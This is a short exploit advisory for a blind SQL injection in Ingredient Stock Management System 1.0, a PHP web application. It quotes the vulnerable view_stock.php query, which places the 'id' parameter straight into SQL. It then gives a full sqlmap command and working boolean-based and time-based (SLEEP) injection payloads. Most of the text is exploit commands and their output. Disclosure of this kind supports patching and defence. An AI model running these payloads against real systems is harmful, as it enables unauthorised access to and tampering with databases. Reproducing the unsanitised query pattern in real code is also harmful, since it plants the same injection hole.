Ingredient Stock Management System 1.0 SQL Injection Vulnerability

# Exploit Title: Ingredient Stock Management System v1.0 - 'id' Blind SQL Injection
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux



Description :
----------------------

Ingredient Stock Management System 1.0 allows SQL Injection via parameter 'id' in
/isms/admin/stocks/view_stock.php. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database


# Vulnerable Code :

line 74 in file "/isms/admin/stocks/view_stock.php"

$stockins = $conn->query("SELECT * FROM `stockin_list` where item_id = '{$id}' order by date(`date`) asc");

# Sqlmap command:

sqlmap -u 'http://localhost/isms/admin/?page=stocks/view_stock&id=1' -p id --level=5 --risk=3 --dbs --random-agent --eta

# Output:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=stocks/view_stock&id=1' AND 1902=1902 AND 'yluX'='yluX

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=stocks/view_stock&id=1' AND (SELECT 6709 FROM (SELECT(SLEEP(5)))gZCj) AND 'vMqP'='vMqP